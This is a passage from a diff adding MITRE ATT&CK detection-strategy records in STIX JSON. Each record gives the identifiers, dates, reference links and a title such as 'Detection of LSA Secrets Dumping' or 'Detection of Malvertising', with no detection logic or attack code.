"enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--9031c511-d7ff-410e-9144-d3afee390210", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0869", + "external_id": "DET0869" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Gather Victim Network Information", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--ca1afe09-7edb-4415-a240-92a0f30ac22f" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--cd39aee1-03f0-489f-a800-ce00c6be617f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0890", + "external_id": "DET0890" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Gather Victim Org Information", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--7726e542-666b-4eeb-8998-cddb45a41605" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--7aa7d45f-64da-4f16-a905-b4881da82c62", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0305", + "external_id": "DET0305" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Group Policy Modifications via AD Object Changes and File Activity", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--ec6e1f3c-e9ff-4944-a426-863eaf9979ea" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--d6c882c8-0f01-4027-b988-b979d60e0030", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0887", + "external_id": "DET0887" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Hardware", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--9ead155d-e99b-4cca-8ace-0a90d533e875" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--55ddc6ba-a04a-4e68-bb34-741d38d2c33d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0815", + "external_id": "DET0815" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of IP Addresses", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--e46455a1-a3a3-4de9-916d-41ffd2721062" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--f5ac003f-2fdc-4ac5-9f2b-3fb2ab00fe95", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0849", + "external_id": "DET0849" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Identify Business Tempo", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--65390827-81d9-43d0-9c9d-16d8c6509b90" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--5b64c4fd-981e-4f34-97a4-9cd22d6f40e4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0807", + "external_id": "DET0807" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Identify Roles", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--a9a66c41-1b05-41fc-a866-272848b051ff" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--a21019ad-f6d2-4806-be7b-01ba27c63147", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0497", + "external_id": "DET0497" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Impair Defenses through Disabled or Modified Tools across OS Platforms.", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--7faf6f37-f074-4b9d-be19-618c3516486d", + "x-mitre-analytic--bda03bab-3f0b-4bd0-8a8f-77bcb2b1ee7d", + "x-mitre-analytic--9e9a5111-038b-4c68-a8bc-6d094723def4", + "x-mitre-analytic--5d329e39-a38b-47cd-8d3d-fa7515280fd7", + "x-mitre-analytic--f421cbe1-d42e-45e9-adad-12c6ed0a5cb8", + "x-mitre-analytic--e542342f-5a08-408d-b292-797bcb2da5eb" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--ad99833c-d2de-45be-a20b-9cbb6d797a35", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0840", + "external_id": "DET0840" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Install Digital Certificate", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--a05f564d-365c-46ce-ab98-ba377aa3b660" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--00a4e92b-8164-4342-a71c-013ecc777ad0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0377", + "external_id": "DET0377" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Kernel/User-Level Rootkit Behavior Across Platforms", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--03f2259d-45c2-4422-83ad-58955f89350c", + "x-mitre-analytic--62cf396f-01d6-4ab0-a3f5-bf75d90c2c40", + "x-mitre-analytic--0248d3dc-266e-45c3-89e4-4865f9174cfd" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--c29886a9-676a-441a-adcd-6f239f8eb6b0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0437", + "external_id": "DET0437" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of LSA Secrets Dumping via Registry and Memory Extraction", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--a29288f5-c5d8-4e2d-8370-c4e21a64fc95" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--4dbd7441-627f-4d5a-a060-28fe6a8cbb9e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0434", + "external_id": "DET0434" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Launch Agent Creation or Modification on macOS", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--441bfb28-3fe5-410b-93a5-2280a7f19dad" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--cfdf2a13-7059-4532-9d1c-f9129b0e3f7b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0041", + "external_id": "DET0041" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Lifecycle Policy Modifications for Triggered Deletion in IaaS Cloud Storage", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--f6f90ad5-3182-4b1a-a612-51b251a8a34c" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--020447ec-f030-4b95-a187-255177b69d9f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0893", + "external_id": "DET0893" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Link Target", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--91f5dbce-d334-4b42-9554-e94866d75a26" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--b045b89e-3095-41c3-a04d-d40075f14cd8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0407", + "external_id": "DET0407" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Local Account Abuse for Initial Access and Persistence", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--9c53e92a-3659-4137-881a-f4002af9c688", + "x-mitre-analytic--269f36b6-77fa-4959-9e63-e30036c991d7", + "x-mitre-analytic--d6288db6-ff55-4720-b0ee-7aca3e65cc72" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--3e5e2bda-40c0-4aea-90f1-8fc52096ad5e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0013", + "external_id": "DET0013" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Local Browser Artifact Access for Reconnaissance", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--c233a50c-0fdb-412b-85f6-8ff71a3539b9", + "x-mitre-analytic--4a5abd9c-b4f3-4c29-9406-82aa3401c049", + "x-mitre-analytic--353e902d-b33c-466b-9276-5f224a259934" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--36bb5edf-e7b6-4d36-8ccc-1a18ddc573da", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0380", + "external_id": "DET0380" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Local Data Collection Prior to Exfiltration", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--79ecfad5-3439-4a04-919a-236d47652ba0", + "x-mitre-analytic--4f5f64b3-bc1b-4573-b790-42b8adfdd609", + "x-mitre-analytic--a48f36c7-e946-4270-ae23-1a2e52ae2e24", + "x-mitre-analytic--dfe1b67a-a1c1-43f4-a043-5784a315d018", + "x-mitre-analytic--0abb4122-0795-46ef-b162-7570db42596a" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--e91165c5-e850-465e-9042-6ba82478b522", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0261", + "external_id": "DET0261" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Local Data Staging Prior to Exfiltration", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--561fb700-686a-4583-96a9-77a55358d357", + "x-mitre-analytic--c5e7b8a9-72f6-40db-be4a-ec17386d884f", + "x-mitre-analytic--01a3cc24-df78-4ff7-8a25-67545d830229", + "x-mitre-analytic--27caeb90-1cf0-4650-a3f3-c8a1edaecbab" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--bcb3772f-25d7-4e41-8e37-ec0dc759f44d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0135", + "external_id": "DET0135" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Mail Protocol-Based C2 Activity (SMTP, IMAP, POP3)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--aef3d563-19f5-4d52-b7ad-4c4abadcb568", + "x-mitre-analytic--a311af7c-2302-4113-8cc3-d5d599fa908a", + "x-mitre-analytic--43347e24-50d6-446e-923d-a6fd69805a22", + "x-mitre-analytic--784b7a50-cdc5-4161-8b52-2be5e5de19ac" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--7f7679d8-c2eb-4fcc-be46-27055ef491a6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0138", + "external_id": "DET0138" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Malicious Code Execution via InstallUtil.exe", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--f3478623-5b5c-482e-96f1-6b225ff8fa70" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--012e526a-dacd-4019-a019-bc68733395d2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0194", + "external_id": "DET0194" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Malicious Control Panel Item Execution via control.exe or Rundll32", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--8581bca4-9d34-4c78-87f7-29244581d140" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--a1e17bbb-73d6-48d5-b0ab-1350189b0ecd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0206", + "external_id": "DET0206" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Malicious Kubernetes CronJob Scheduling", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--f2c03ef0-cd36-42b8-9c2d-e25a3b1b8b1c" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--c254ecff-c728-4de8-a0f8-e5ad5015aa32", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0328", + "external_id": "DET0328" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Malicious Profile Installation via CMSTP.exe", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--ae250934-772b-43a5-9a29-9cbd92972858" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--eaa0f0da-bee7-4ce3-97e5-46d5ac2a9257", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0092", + "external_id": "DET0092" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Malicious or Unauthorized Software Extensions", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--ce76c289-b810-44cf-b71e-afc76a70f7bf", + "x-mitre-analytic--d8f9ab20-4c82-42fc-9316-91781fa9e5e1", + "x-mitre-analytic--560f859b-2174-4655-b927-b274ad0bda3f" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--40b862cb-89a4-4200-baa0-bb171ecc2ce2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0836", + "external_id": "DET0836" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Malvertising", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--81f695b5-7621-4a82-8036-536c6687b5b4" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--04f78d17-4599-4ecd-9a8f-f221ab2759cc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0872", + "external_id": "DET0872" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Malware", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--2a3b0030-05b4-4b85-a33c-dda07472f31f" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--5c228796-349e-4d7e-a3ca-51a5f8cbf294", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0845", + "external_id": "DET0845" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Malware", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--de93de79-3f24-4022-9b03-7228ffacca6f" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--3fa3299e-a8c2-4555-890b-544314ae1e44", + 